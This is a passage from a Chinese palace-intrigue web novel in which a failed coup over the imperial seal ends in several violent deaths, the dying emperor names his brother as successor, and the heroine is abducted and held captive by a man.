“位同太后?你不过是个选侍出身,靠着几分姿色爬了上来。先帝在时,本宫是东宫的太子妃,你连给本宫提鞋都不配,如今先帝没了,你倒抖起来了?既是陛下的养母,敢问陛下可有真正封你为太后?” 打蛇打七寸,李太妃的笑容瞬间便僵住了。 康敏之见状箭步上前,将李太妃护在了身后。 “皇后娘娘。” 他开口,声音不高,却带着一股压迫感:“传国玉玺乃国之重器,如今陛下昏迷不醒,代王兵临城下,这玉玺放在您这儿,不安全,还是交给微臣保管为好,微臣身为内阁首辅,理应为皇后娘娘分忧才是。” 顾云舒看了看他,目光里的冷意更浓了。 “康敏之,你一个外臣,私闯后宫,胁迫皇后,该当何罪?” 康敏之笑了笑:“皇后娘娘,您这话说的,微臣是来保护您的,代王的人随时都有可能打进来,微臣与太妃娘娘,是来帮您转移玉玺的。” “帮我?” 顾云舒冷笑道:“康敏之,你真当本宫是三岁孩童?” 康敏之自知理亏,没敢再往下接话。 半晌,李太妃又开口了:“皇后娘娘,您何必这般固执呢?玉玺交出来,您还是皇后,您的坤宁宫还是您的坤宁宫,您若是不交…” 她顿了顿,目光扫过如意,扫过殿内的侍立的宫女们。 “您身边的人,可就不好说了。” 顾云舒的手霎时便顿住了。 那串念珠在她指间停了一瞬,而后被她死死攥紧:“你什么意思?” 李太妃笑了笑:“臣妾没什么意思,臣妾只是觉得,皇后娘娘您一个人,护不了这大殿之内,这么多人。” 她话音刚落,身后那几个嬷嬷便往前走了一步。 顾云舒看了看李太妃,忽然放声大笑,那笑声很冷,在殿内回荡:“李太妃,你以为这便能威胁得了本宫?” 李太妃没有说话,只一双杏眼死死地瞪着顾云舒。 顾云舒慢慢站起身,走到她面前,站定。 两个人离得很近,近得能看清对方脸上的每一个表情。 顾云 舒朝她啐道:“传国玉玺,就在本宫手里,但是你想要,做梦。” 李太妃的面色终于彻底变了。 那笑容从她面上褪去,露出底下的真面目:“皇后娘娘,您这是找死。” 顾云舒死死看着她,并没有说话,可她的目光,比任何话语都更有力。 李太妃终于不装了,只见她朝身后摆了摆手。 几个嬷嬷立马上前,拽住了如意,将她按倒在大殿之上。 一个嬷嬷伸出脚,死死踩在了如意的脸上。 如意拼死挣扎着:“娘娘,莫要管奴婢,绝对不能把传国玉玺交给如此宵小之辈!” 顾云舒的心紧张地揪着,她死死攥着手中的念珠,似要将那念珠捻碎。 屏风后,周妙雅握紧了手中的火铳。 她透过缝隙,望着殿内的一切,李太妃的虚伪的嘴脸,康敏之阴鸷的表情,皇后倔强不服输的风骨。 她的手心在沁着汗。 李太妃看着顾云舒,唇角的笑意越来越深:“皇后娘娘,您看看,这丫头对您多忠心,您舍得让她受罪吗?” 顾云舒死死咬住下唇,没有说话。 李太妃等了片刻,仍不见她开口,突然发狠道:“踩!给本宫狠狠地踩!” 那嬷嬷的脚又用力在如意的脸上重重地碾了碾。 如意发出一声闷哼,血从嘴角淌了下来,滴在了地上。 顾云舒的睫羽剧烈地颤动着,可她不能退缩。 李太妃复又开口道:“皇后娘娘,您这是何必呢?一个丫头而已,您若不在乎,臣妾可以让人将她拖出去,乱棍打死,然后再换一个,再打,您这坤宁宫里的人,够臣妾打一阵子的。” 顾云舒的手剧烈地颤了一下。 李太妃瞧见了,笑意更深。 “皇后娘娘。” 她往前踱了一步,凑近顾云舒:“您护不住她们的,您连自己都护不住,拿什么护她们?” 顾云舒死死盯着她,没有说话。但她手里的念珠,在轻轻发抖。 李太妃放下伪装,彻底威胁道:“交出传国玉玺,臣妾保证,您和您的人,都能平平安安的,若是不交…那就一个一个来!” 她话音刚落,那几个嬷嬷又开始行动了。 一个嬷嬷伸手抓住如意的头发,将她从地上拎了起来。 如意惨叫了一声,鲜血瞬间从嘴角流了下来。 另一个嬷嬷拿出一根绳子,死死套在了如意的脖子上。 如意被勒得喘不过气,脸憋得通红,眼睛开始往上翻。 顾云舒往前迈了一步,大喊道:“住手!” 李太妃看着她,笑了笑:“皇后娘娘,您想通了?” 顾云舒站在那里,进退两难。 如意就要被勒得快断气了,可传国玉玺,她死也不能交出去。 一旦传国玉玺落到李太妃与康敏之的手里,大晟…就完了。 李太妃等了一会儿,不见顾云舒开口,脸上的笑容慢慢冷了下去。 “看来皇后娘娘是不见棺材不掉泪啊。” 她说罢,复又摆了摆手,语气冰冷:“勒,给我狠狠地勒!” 那嬷嬷手上用力,绳子收紧。 如意的眼睛往上翻,嘴里发出嗬嗬的声音,挣扎越来越弱。 顾云舒的眼泪终于流下来。 “住手…”她的声音发颤:“快住手…” 李太妃狂妄地笑着:“皇后娘娘,可想通了?” 顾云舒没有说话,她只是站在那里,眼泪如决堤般地流着,手中的念珠在剧烈地颤抖着。 如意就快要不行了。 就在这千钧一发之际。 屏风后面,周妙雅动了。 她猛地起身,从屏风后冲了出来,举起手中的火铳,对准了李太妃。 她的手指扣在扳机上。 一瞬间,李太妃彻底怔住了。 她尚未反应过来,便见那个浑身粗布衣裳的女人,举着个黑乎乎的东西,对准了自己。 康敏之的脸色霎时就变了。 他看见那东西,瞳孔骤然一缩。 火铳! 他在神机营见过这东西,知道这东西的威力巨大。 只听得他大喊了一声:“小心!” 话音未落。 周妙雅已扣动了扳机。 砰—— 一声巨响。 火光自枪口喷出,殿内霎时硝烟弥漫。 康敏之猛地扑了过去,挡在了李太妃的身前。 子弹击中了他的胸口。 他低头看了看自己的胸口,那里多出了一个洞,鲜血正汩汩向外涌出。 他张了张嘴,想说什么,却只吐出了一口鲜血。 而后,他重重向后倒了下去。 倒在李太妃的身边。 李太妃彻底怔住了。 她低头看着康敏之,那张熟悉的脸毫无血色,鲜血自胸口的那个血窟窿如泉水般涌出,瞬间染红了地面。 “康…康郎…” 她的声音发颤。 康敏之躺在地上,看着她,他的嘴唇动了动,想说些什么,但已经说不出话来了。 他只是看着她,用尽最后一丝力气,伸出手,想去够她的手。 但是他够不到。 顷刻间,他的手垂了下去。 眼睛还不服输地睁着,看向她。 但已经没有光了。 死不瞑目… 李太妃的眼泪瞬间流了下来。 “康郎…” 她跪了下去,跪在他身边,伸手去摸他的脸。 他的脸还是热的。 但已经没有呼吸了。 屏风后面,来福冲了出来,挡在了周妙雅的身前。 周妙雅站在那里,手里还握着那把火铳,枪口还在冒着烟。 她的手在发抖。 但她没有退缩。 她看着跪在地上的李太妃,看着倒在血泊中的康敏之。 她开口,声音有些发颤,但一字一字清清楚楚:“李太妃,放人!” 第135章 沉重而整齐的脚步声从四面八方传来, 似闷雷滚过地面。 刀枪碰撞的声音叮当作响,火光透过窗纸映进坤宁宫大殿而来,将殿内照得忽明忽暗。 代王带着重甲武装的士兵, 彻底将坤宁宫围住了。 他们的目标异常的明确——传国玉玺。 见到此情此景, 周妙雅将手中的火铳又握紧了几分。 坤宁宫的殿门被粗暴地推开, 代王身披铠甲,昂首阔步地跨了进来。 那铠甲上沾着血,有些已经干了,变成了暗红色,有些还是新鲜的,顺着身上的铁甲往下淌。 他脸上也溅着血迹,只见他抬手, 玩味地抹了抹唇角挂着的血迹,面上的神情却是异常的平静。 代王高大如山的身影站在门口, 目光扫过殿内的情形, 最后落在了地上的那具尸体上。 康敏之的尸身静静地躺在那里,胸口那个血窟窿已不再流血,一双眼睛还睁着, 直直瞪着上方,似死不瞑目。 李太妃跪在他身侧, 手还搭在他的脸上。 她听见脚步声,缓缓抬起了头。 在看见代王的那一瞬, 她的神情突然变了。 那泪还挂在脸上,可嘴角却缓缓地翘了起来, 她低下头,望着康敏之那张已面无血色的脸,忽而仰天而笑。 那笑声似从喉间挤出, 越来越大,越来越尖,在空荡的殿内回响。 她笑得很疯,半晌过后,她对着康敏之的尸身,突然开口:“你个蠢物!” 她满嘴咒骂着,声音里夹着笑,又掺着哭: “白白替人养了这么些年的儿子,被扣了这么些年的绿帽子,还心甘情愿的,真是天底下头一号蠢物!” 殿内众人,听到这话,全都愣住了。 李太妃仍在笑,笑得浑身发颤,她抬手拍了拍康敏之那张早已凉透的脸。 “听见了吗?蠢物!你以为那孩子是你的?你以为柳氏替你养的是你与我的亲生骨肉?便宜爹当了这么些年,到死都被蒙在鼓里!真是蠢不自知!” 她狂笑着,泪却不由自主地顺着脸颊淌了下来。 而后,她转过头,望向周妙雅。 那目光疯疯癫癫的,却又亮得骇人。 “你也是个蠢物!”她冲着周妙雅大吼道。 周妙雅未发一言,只将手中火铳攥得更紧。 李太妃笑个不停:“你祖母文老太太,那个老虔婆,她撞见什么不好?偏生在西苑撞见本宫与儿子团聚。” 她顿了顿,笑得愈发癫狂。 “你说说,她不该死,谁该死?” 真相如同晴天霹雳,周妙雅的瞳孔骤然缩紧。 文老太太…竟是李太妃借康靖瑶之手杀的? 不是魏琰?不是康敏之?而是她? 李太妃瞧着她那脸上那惊讶的神情,笑得前仰后合。 “你以为她是怎么死的?你以为真是康靖瑶因为内宅妇人嫉妒而下的毒手?大错特错!她是撞见了不该撞见的,看见了不该看见的!” 周妙雅瞬间再也忍不住,泪水止不住从眼眶中汹涌滚落。 那是她这辈子最亲的祖母,文家对她最好的人,李太妃她怎么敢?怎么敢! 她抬起手中的火铳,死死对准李太妃。 李太妃倒是半分不惧,反倒迎上一步,将胸口撞向火铳,发疯喊道:“贱婢,你倒是开枪啊!” 周妙雅的手臂剧烈地颤抖着,刹那间,只见代王箭步上前,一掌击落了她手中的火铳。 “周司典!”来福欲扑上前,却被代王手下的亲兵狠狠按住。 两个兵士按住周妙雅的肩头,亦将她制住。 李太妃笑着笑着,忽然敛了声。 只见她转过身,缓步朝代王走去。 刚迈出两步,却被康敏之的尸身绊了一下,她垂眸瞥了一眼,一脚将其踢开。 尸身被她踢得翻了个面,脸朝下伏在地上。 李太妃再没看他一眼,径直走到代王跟前。 而后扑进了他的怀里,娇嗔道:“你怎么才来啊,人家等得好苦…” 她倚在他怀里,声儿变了。不再是方才的疯笑,而是娇娇的,软软的,像个撒娇的小姑娘。 殿内所有人皆瞠目结舌… 代王未发一言,只垂眸看着怀中女人。 须臾,他抬手,直接揽住了她的腰身。 那动作自然至极,仿若已做过千百遍。 李太妃在他怀里蹭了蹭,仰起头看向他。 代王开口问道:“传国玉玺呢?” 李太妃撇了撇嘴,朝顾云舒的方向努了努:“还在那贱人手里。” 代王将目光转向顾云舒。 李太妃复又笑道:“不过无妨,料那贱人一介女流,也翻不出什么花,待你夺得玉玺,登临大宝…” 她顿了顿,笑得一脸甜腻:“咱们的儿子,便是太子!” 此言一出,殿内彻底炸了。 周妙雅只觉脑子里轰的一声。 儿子? 李太妃的儿子? 不是和康敏之的? 她猛地看向康敏之的尸身,又看向代王,再望向李太妃。 康敏之…替李太妃养的儿子…竟是李太妃与代王的? 李太妃倚在代王怀里,笑得花枝乱颤:“康敏之那个蠢物,还以为孩子是他的。我让他养,他便养,我让他宠,他便宠。当了这么些年便宜爹,到死都不知养的是谁的儿子。” 她仰起头望向代王,眼中尽是柔情蜜意:“是你的亲生骨血。” 代王垂眸看着她,没有笑,但目光却软了几分。 他抬手,替她拭去脸上的泪痕,动作极轻极柔。 周妙雅站在那里,看着这一幕,心口像是被钝器狠狠凿了一下。 文老太太之死,是因撞见了李太妃与孩子。 康敏至死不知真相。 那个柳氏所养,预备过继给皇帝的孩子,竟是代王的骨血。 她终于懂了。 这一切,从一开始,便是李太妃与代王共同设的局! 李太妃笑也笑够了。 她从代王的怀里缓缓站直,转过身,目光扫过大殿,目光落在周妙雅的身上,冷得像淬过冰的寒刃。 “来人。” 她开口,声音恢复了往日的威仪,仿佛方才那个疯笑的女人不是她。 几名士兵应声上前。 李太妃抬手指向周妙雅,一字一顿:“将这弑杀本宫未遂的贱婢,押入大牢。” 周妙雅被两名士兵按住肩头,动弹不得。 她抬起头,望着李太妃,眼中无惧,唯有恨。 李太妃迎着她的目光,笑着说道:“贱婢!待本宫料理完皇后,再来料理你。” 说罢,她摆了摆手。 两名士兵架起周妙雅,往外拖去。 “走!” 周妙雅死命挣扎着,却如蜉蝣撼树,根本就挣不动。 她的双脚在地上拖着,身体被两名士兵架着,往外走去。 “周司典!” 来福的喊声自身后传来。 周妙雅回首,见来福被几名士兵死死按在地上,脸贴着冰冷的地面,却仍在死命挣动着。 “周司典!周司典!” 他喊的喊声越来越大,愈发急切。 周妙雅张了张嘴,想说什么,却说不出话来。 她只来得及看见来福抬起头,满脸的焦急与绝望,就被粗暴地拖出了殿门。 殿外,刺骨的冷风扑面而来。 周妙雅被架着前行,穿过长廊,穿过月洞门,往坤宁宫外走去。 一步一步,离坤宁宫越来越远。 待她被带到一片宫墙的拐角处,只见迎面走来了一个人。 那人身披一身铠甲,却明显不合身,肩甲宽出了一截,腰身松垮垮的。 他戴着大帽,垂着头,看不清面上的容貌,步履却极快。 押送周妙雅的士兵驻足,警惕地望向他:“站住!什么人?” 那人抬起头,露出一张陌生的脸,他从怀里摸出了一块腰牌,递了过去。 “代王府的,王爷有令,将此罪女交予我。” 士兵接过腰牌,仔细端详,又上下打量着他。 “王爷的命令?我等怎不知?” 那人不慌不忙,只笑了笑:“王爷方才下的令,二位若是不信,即刻便可回去亲自问王爷。” 两个士兵对视了一眼。 其中一人将腰牌还给了他,摆了摆手:“行,便将这贱婢交与你了,速速带走。” 那人点了点头,走到了周妙雅的面前。 只见他从袖子里拿出一方手帕,动作极快,还没等周妙雅反应过来,就已经捂在了她的口鼻上。 她想挣扎,但浑身使不上力。 眼前的人影越来越模糊,越来越暗。 然后,就什么都没有了。 ———— 坤宁宫内,李太妃已彻底疯魔,她死死掐住顾云舒的颈子,嘶喊道:“贱妇!将传国玉玺交出来!” 顾云舒手中的念珠哗啦啦地坠了一地,在地上散落开来。 她的手本能地去掰李太妃的手指,可那手指却如铁钳一般越收越紧。 “交出来!” 李太妃嘶喊着,声音尖利刺耳。 顾云舒的脸开始渐渐变红,发紫。 她睁大双眼瞪着李太妃,唇角动了动,欲说些什么,却无论怎么也发不出声。 但她并未求饶,目光始终未躲。 就在李太妃与顾云舒对峙的时候,代王的兵已经在坤宁宫里搜了一轮又一轮,却始终未找到那传国玉玺。 如意挣着欲爬了起来,却被身旁的嬷嬷一脚又踩了回去。 “娘娘!娘娘!”如意带着哭腔大声喊着。 顾云舒只觉眼前骤然开始发黑。 她知道自己快要死了。 但她还是没有开口。 传国玉玺,不能交。 死也不能交。 就在她快要失去意识的最后一瞬… 只听得院外忽然传来一阵剧烈的喧哗声。 兵刃相击,喊杀声混着惨叫声,冲天刺耳。 那声音越来越大,越来越近,如潮水一般向坤宁宫大殿涌来。 李太妃的手霎时便顿住了。 她猛地回过头,看向殿门。 代王已经冲了出去,大声喊道:“怎么回事?” 殿外,火光冲天。 只见代王的叛军与另一股人马正厮杀在一处,刀光剑影,血肉横飞。 代王站在台阶上,看着眼前的战局,脸色越来越差。 他的兵,正在节节败退。 对方的人马训练有素,配合默契,刀枪挥舞间,他的兵一个接 一个地倒下。 不对,这太蹊跷了。 这不是那群废物京军。 京军那帮纨绔子弟,根本就不可能有这样的战斗力。 他们是谁? 这是哪来的兵? “护驾!护驾王爷!” 一个士兵喊着,话音还未落,就被一杆长**穿了胸口。 那士兵瞬间便倒了下去,眼睛还睁着,一副死不瞑目状。 代王被吓得往后退了一步,这是他起兵造反以来,头一次感受到了惧怕。 他的兵越来越少。 对方的人却越来越多。 不过一炷香的功夫,院内已躺满代王亲兵的尸身。 鲜血顺着地缝流淌,汇成细流。 代王被逼退到殿门口。 他身边,已经没有一个兵了。 此刻,他成了彻彻底底的孤家寡人。 殿内,李太妃终于松开了手。 顾云舒跌坐于地,捂着颈子,大口大口地喘着气。 如意爬过来,扶住她,哭喊着。 李太妃没有再看她,只见她转过身,望向殿门。 “怎么了?”她的声音有些发颤。 代王还未来得及回答她。 只见殿门口,一道人影逆光而来。 铠甲染血,手中提着剑,剑尖犹自滴着血。 身后冲天的火光为他镀上了一层金边,逆光下,他面容难辨,唯见那高大挺拔的身影。 那人跨过门槛,一步一步踏入殿内,走入那烛火照亮的深处。 待彻底看清那人的容貌,李太妃的瞳孔骤然缩紧,话音已带着颤: “宁…宁王?你…你不是被北狄人俘虏了?” 朱弘毅并未理会她。 他站在那里,目光扫过大殿,最终落在了代王的身上。 “代王叔。” 他开口,声音不高,却字字清晰:“你的叛军,已被本王的辽东军尽数剿杀,还不束手就擒?” 代王死死盯着他:“好啊!本王机关算尽,却未算到你这小子竟瞒天过海,在辽东玩得好一手金蝉脱壳。” 朱弘毅唇角浮起一丝笑意:“代王叔,彼此彼此,你不也佯装西北活不下去,贿赂魏琰,才得返京?” 代王似被戳中了脊梁骨,脸上青一阵白一阵,手下意识死死扣住刀柄。 只见朱弘毅冲殿外摆了摆手,两个辽东军士兵押着一个人走了进来。 那人被五花大绑,浑身血污,但面目尚可辨认——正是昔日那不可一世的九千岁,魏琰。 魏琰被推搡着跪地,抬起头,望向代王。 只见他忽然扬声大笑。 那笑声沙哑刺耳,在殿内回荡。 “代王,想不到你也有今日,这可真是螳螂捕蝉,黄雀在后。” 代王不堪其辱,已在崩溃失控的边缘。 只见朱弘毅走到了魏琰面前,垂首俯视着这只昔日的猛虎,目光冰冷。 半晌,他如宣读判词般,悉数杨濂当年所书魏琰二十四大罪。 僭越皇权,迫害忠良,结党营私,大兴土木,民怨沸腾,民不聊生…… 魏琰闭着双眼,静静地听着,忽然朗声大笑。 只听得他笑声未落,朱弘毅已举起手中长剑。 殿内剑光一闪。 魏琰还来不及反应,笑声已戛然而止。 头颅坠地,滚了几滚,停在了代王的脚边。 一代权宦,叱咤官场数十载,就此气绝。 代王整个人已骇住,他并非未畏惧死尸,只是无法接受成王败寇的现实。 他下意识地向后退了一步。 朱弘毅提着剑,转过身,看向他,语气冰冷:“代王叔,该你了。” 代王咬紧了牙关,举起手中长刀,愤恨道:“小子,别以为你赢了!” 说罢,他便冲了上去。 刀光剑影,于殿内交错。 朱弘毅侧身避过第一刀,反手一剑刺向代王肋下,代王横刀格住,借力转身,又是一刀劈下。 二人缠斗于一处,兵器相击,火花四溅。 如意扶着顾云舒,向后退了几步。 朱弘毅一剑刺向代王心口,代王侧身避过,却不防那剑顺势一翻,自侧面抹过他的脖颈。 锋利的剑锋划过,鲜血瞬间溅出三尺。 只见代王手一松,啪啦一声,手中刀坠于地。 他垂首,看向自己的脖颈,那里已多了一道口子,鲜血正汩汩涌出。 他张了张嘴,欲说些什么,却只呕出一口血。 而后便重重地向后倒了下去。 倒在了李太妃的脚边。 李太妃彻底怔住了。 她垂眸望着代王,望着那张迅速失色的脸,望着那道血红的创口,声儿发颤:“五…五郎…” 代王躺在地上,眼睛还睁着,看向她,嘴唇翕翕合合,却发不出一丝声音。 而后,那眼睛里的光,慢慢熄灭了。 李太妃的泪霎时如决堤般涌了出来,她声嘶力竭地喊道:“五郎!” 她尖叫着扑到他身上,抱住他的头,拼命摇着:“五郎!五郎!你醒醒!你醒醒!” 但代王再也不会醒了。 李太妃抱着他,哭得浑身发颤,不能自已。 就在这时,殿门口,一道身影徐步而入。 只见寿阳公主手中拿着一把弓弩,弓上搭着箭,她的手发颤,面色惨白,眼眶通红。 她一步一步,走到李太妃身后,声音发颤: “母妃…” 李太妃猛地回过头去。 见是寿阳公主,她神色骤变。眼泪还挂在脸上,眼中却闪过一丝复杂的情绪。 她开口,声音沙哑:“寿阳,你…你怎么来了?” 寿阳公主看着她,眼泪瞬间便流了下来:“母妃,收手罢。” 李太妃怔了怔。 只听得寿阳公主哭着喊道:“母妃,你犯的错太多了,收手罢!” 李太妃望着她,看着自己女儿手中的弓,望着她面上的泪。 忽然,她仰天长笑。 那笑声极苦,极涩:“我没错!我没错!” 寿阳公主的眼泪流得更凶了。 她的手在抖,弓在抖,箭在抖。 “母妃…收手吧,求你了!” 李太妃并未回答她,只冷漠地望着女儿涕泗横流,自己却仰天疯笑,步步向女儿箭锋逼近:“来啊!你射啊!本宫倒是要看看,你敢不敢射自己的亲生母亲!” 寿阳公主眼中的泪模糊了视线,她摇着头,一步步地向后退去,而李太妃却不依不饶,偏要迎着她的箭锋向前。 寿阳公主拼命地摇着头,她退到了门框边,已退无可退,只见她手无意识地一松… 一直利箭霎时离弦而出。 只听得嗖一声轻响。 利箭正中李太妃的心口。 李太妃身形晃了晃。 她垂首望了望胸口那支箭,又抬起头,看向寿阳公主。 她唇角,竟还带着一丝笑:“好…好孩子…” 只见她说完,整个人便重重地倒了下去,倒在了代王的身边。 寿阳公主手中的弓啪的一声坠于地。 她呆呆站在那里,望着母亲的尸身,眼泪无声地流着。 殿内静得能听见烛芯爆裂的声响。 朱弘毅提剑而立,望着这一幕,一言未发。 顾云舒扶着如意,缓缓起身,主仆二人方才站定,忽闻殿外传来一阵急促的脚步声。 卢院判匆匆而至,他手中提着官服的下摆,抹额上汗,快步奔入了殿内。 他见朱弘毅玄甲而立,不由得一怔,然此刻也顾不得这许多。 卢院判慌忙跪下,语气急切:“皇后娘娘,宁王殿下,陛下…陛下他醒了!” 第136章 众人随卢院判, 穿过被火光映得忽明忽暗的长廊,一路往乾清宫走去。 远处依稀可闻零星的喊杀声,辽东军以绝对优势已平代王的叛军, 声浪愈来愈弱。 乾清宫的殿门敞着, 里面灯火通明。 几个太医站在外殿, 面色惨白,手足无措,见朱弘毅与顾云舒入内,慌忙跪了下来。 卢院判引着他们往内殿走去。 内殿里,龙床上,帷幕半垂着,隐约可见一个气息微弱的人躺在那里。 卢院判轻手轻脚走到龙床边, 缓缓掀开了帷幕。 泰和帝躺在 榻上,脸色灰白, 眼窝深陷, 嘴唇上一点血色都没有。 他已瘦得只剩一把骨头,锦被覆身,几乎看不出起伏。 唯胸口尚在微动, 一下,又一下, 似随时会止。 卢院判俯下身,凑近他耳边, 声音放得极轻:“陛下,皇后娘娘与宁王殿下来了。” 听到宁王二字, 泰和帝的眼皮罕见地动了动。 他艰难地睁开眼,眼珠转了转,望向榻边。 顾云舒站在榻边, 望向他,面上无甚表情,眼眶却有些红。 毕竟一日夫妻百日恩,纵是他犯下再多的过错,多年的情分亦非说断就断。 泰和帝目光自顾云舒身上移开,落在了朱弘毅的身上。 只见他眸中忽地微弱一亮,那是一种极奇异的光,似临死前最后的回光返照。 他用尽浑身的力气抬起手,于半空中颤着,抖着,似不听使唤:“吾弟…吾弟…” 朱弘毅快步上前,紧紧握住了泰和帝的手。 那只手冰凉,瘦得只剩骨头,握在手里,几乎感受不到重量。 “皇兄…” 朱弘毅开口,声音有些发涩:“臣弟在。” 泰和帝看着他,眼泪忽然流了下来。 他就那么看着朱弘毅,看了许久。 嘴唇微微动了动,似想说些什么,却说不出声。 他眼中的情绪复杂,似在悔这江山终还是在他手中脏了,似在无奈魏琰,李太妃,代王,康敏之联手做了这么久的局,最后这局里却无赢家,似在疲惫这浮浮沉沉的帝王生涯,亦似在疼爱自幼一起读书骑马的幼弟… 朱弘毅握紧他的手,感受到了他眸中复杂的情绪,但是他没有催,只是静静地等着他开口。 顾云舒站在一旁,看着眼前的这一幕,忽然想起了什么,只见她侧过头,对着如意耳语了几句。 如意点了点头,转身快步走出了大殿。 半晌,泰和帝终于艰难地开了口,他的声音很轻,很慢,似用尽了全部的力气,半喘着,断断续续地说道:“兄走后…弟自当继承皇位…” 朱弘毅的手紧紧地握着兄长的手,哽咽着摇头道:“皇兄,别这样说,你会好起来的。” 泰和帝亦望着他,眼泪还在流,唇角却微微扬了起来。 那是一个极淡极淡的笑,似已耗尽他全部的气力。 终于,他说出了那句久藏于心,却始终没有机会说出口的话: “吾弟当为…尧舜。” 说完这句话,他如释重负,双目忽然猛地一睁。 而后,那光渐渐暗了下去,终至熄灭。 “皇兄!皇兄!”朱弘毅试图唤醒他,但已是徒劳。 卢院判上前,伸手探了探他的鼻息。 半晌,他跪了下去,声音颤抖,却字字清晰,传入了殿内每个人的耳中。 “陛下…驾崩了!” 须臾间,殿内所有人都噗通一声跪倒在地。 朱弘毅尚伏跪于榻前,握着泰和帝的手,一动不动。 然而,那只手已彻底凉透。 他垂首,静静望着皇兄——泰和帝双目紧闭,面容极其平静,唇角尚带一丝淡淡的笑容,似已尽付嘱托,安心奔赴彼极乐世界。 他忽然想起多年前,那时尚在儿时,皇兄带着他去御花园放风筝。 风筝不小心挂上了树梢,皇兄爬上树去取,摔落而下,膝磕破了,流了很多血。 他当时吓得哭了,皇兄却笑言无妨,男子汉大丈夫,流血不流泪。 朱弘毅的眼泪终于落了下来。 他没有哭出声,只是眼泪一滴一滴地落下,坠在泰和帝已冰冷的手上。 就在此时,忽闻身后传来了急促的脚步声。 只见如意快步走进来,双手捧着传国玉玺,跪在顾云舒面前。 顾云舒接过玉玺,站起身,一步一步地走到朱弘毅的面前。 而后,只听得她噗通一声跪地,膝盖重重磕向地面,双手高举传国玉玺: “吾皇万岁万岁万万岁。” 身后的如意随之跪伏了下去,卢院判亦跪了下去,殿内的太医们皆跪了下去。 殿内众人齐呼—— “吾皇万岁万岁万万岁。” 朱弘毅抬起头,看向殿内跪了一地的人。 他缓缓松开泰和帝冰冷的手,将那只手放回了他的身侧。 而后,他站起身,缓步走到了顾云舒的面前,接过了她手中的传国玉玺。 殿内众人再次伏跪,叩拜新帝。 身后泰和帝冰冷的尸身,面上的淡笑尚在,似在看着这盘棋局终于走到了尽头。 就在众人伏跪于新帝面前,山呼万岁之际,一阵急促脚步自殿外传来,格外刺耳。 来福跌跌撞撞奔入殿内,见众人伏跪于地,慌忙也跪了下来,额头重重磕向地面。 朱弘毅知他不是如此冒失之人,定是有紧急之事,忙抬手唤他起身,召至身侧,问道:“出了何事?” 来福低声于他身侧道:“回…回陛下,奴才有罪,奴才失职,周司典…她失踪了。” 朱弘毅的手猛地攥紧传国玉玺,骨节作响。 他强自敛神,将来福与顾云舒召至屏风之后。 来福细述了方才众人离开坤宁宫之时,他未随驾往乾清宫,而是去寻周妙雅。 先前押送她的那两名叛军已被辽东军拿住,正待斩首,被来福拦了下来。 来福上前讯问,方知周妙雅被一面生之人迷晕带走,那二人亦不知其身份,然听二人描述其容貌及不合身之铠甲…此人,颇有些像文毓瑾。 朱弘毅闭上双眼,深吸了一口气,再睁开眼时,只见他松开手,将传国玉玺递到了顾云舒的面前: “皇嫂,此物暂由您,代为保管。” 顾云舒愣了一下,抬头看向他。 朱弘毅迎着她的目光,一字一字郑重说道:“朕此刻,必须去找到她。” 顾云舒重重地点了点头,伸手接过传国玉玺:“陛下且去,这里有本宫。” 朱弘毅颔首,随即转向来福,用信任的目光与他托付道:“来福,保护好皇嫂,这里就交给你了。” 来福跪下,重重地磕了一个头。 “陛下放心,奴才就是拼了这条命,也定护娘娘周全。” 朱弘毅没有再说话,他毅然转身,大步向乾清宫外走去。 他随即点了一队人马,皆是从辽东随他杀回的亲兵,个个身经百战,杀人不眨眼。此刻他们策马举着火把,将京城大街小巷照得亮如白昼。 长安已从宁王府带回周妙雅画像,与他们细述了周妙雅的容貌特征。 朱弘毅只一句话,便是将这皇城内外挖地三尺,也要将他的未来皇后寻到。 亲兵得了军令,挨家挨户去搜。 可能搜的地方已经尽数搜便,仍是不见周妙雅的身影。 朱弘毅披甲执剑,站在午门前,望着一队队亲兵归来,伏跪下去,皆摇着头道:“陛下,没有找到。” 他的脸色瞬间变得愈沉,愈冷。 旁边的人都不敢说话。 长安站在他身后,望着他的背影,心下隐隐发紧,他跟着朱弘毅这么多年,从未见过他这副模样。 “陛下…”他终是忍不住,还是开了口。 朱弘毅抬手,打断了他。 他转过身,望向长安,目光冷得像淬过冰的利刃。 “长安。” 长安见状,忙上前一步。 朱弘毅皱眉,语气冰冷:“去查文家在京郊的所有产业,文毓瑾一介书生,不可能走得有多快,挖地三尺,一个一个搜。” 长安重重点了点头:“是!” 他转身,带着一队人马,消失在了夜色中。 朱弘毅闭上双眼,想起那日在海州大营,他一个人孤零零地坐在土堆上,手中攥着那枚玉佩,张文龙问他:“想未婚妻了?” 月光倾泻而下,他说:“是,很想她。” 他想她。 很想。 无时无刻不在想她。 此刻尤甚。 可她却不见了。 在他归来的这一日,在他继承大统的这一日,她却不见了… 朱弘毅猛地睁开眼。 他望着远处的夜色,声音很轻,似对着黑夜中的人影诉说衷肠: “妙雅,等我,一定要等我!” ———— 京郊别院。 夜色沉沉,院内未点灯,唯正屋的窗缝漏出几缕昏黄的暗光,似野兽半阖之眼。 周妙雅是被一阵剧痛惊醒的。 她睁开眼,眼前一片模糊,似有红色的光隐隐在晃动,一下一下,刺得她双眼生疼。 她闭上双眼,良久,复又睁开。 这是一间陌生的屋子,四周挂满了红色的幔帐,层层叠叠,遮住的外面深不见底的黑夜。 烛火在幔帐间跳动,将一切都染成了暧昧的红色。 她尝试动了动手腕,被牢牢绑着,粗糙的绳子勒进皮肉,挣不动。 她又尝试动了动脚踝,也被绑着。 周妙雅的心猛地一沉。 她躺在榻上,身上还穿着那身浣衣局的粗布衣裳,外衫却已松散,有几处被撕破的口子,露出了里面的小衣。 她的呼吸瞬间便急促了起来。 就在这时,幔帐忽然动了动。 一只骨节分明的手探入,掀起了帘子。 摇晃的烛光照了进来,照亮了文毓瑾那张虚伪到令人作呕的脸。 周妙雅的脸色霎时就变了。 文毓瑾看着她那惊骇万分的神情,忽然玩味地笑了起来。 那笑容极缓,于面上一点一点地绽开,似在享受此情此景。 他掀开幔帐,在床边坐了下来,随即,伸出手,抚上了她惊魂未定,我见犹怜的脸颊。 周妙雅的浑身在剧烈的颤抖着。 那只手冰凉,似刚从冰水里捞出,指腹在她脸上慢慢滑动,自眉骨滑至颧骨,自颧骨滑至下颌,最终停在了她的下巴上,轻轻地捏住。 周妙雅想躲,但躲不开。 她只能偏过头,死死闭上了双眼。 文毓瑾见到此情此景,却是低低笑出了声来,阴森恐怖的笑声,在安静的屋子里回荡。 “看吧,雅儿,这就是命,兜兜转转,你依然还是我的。” 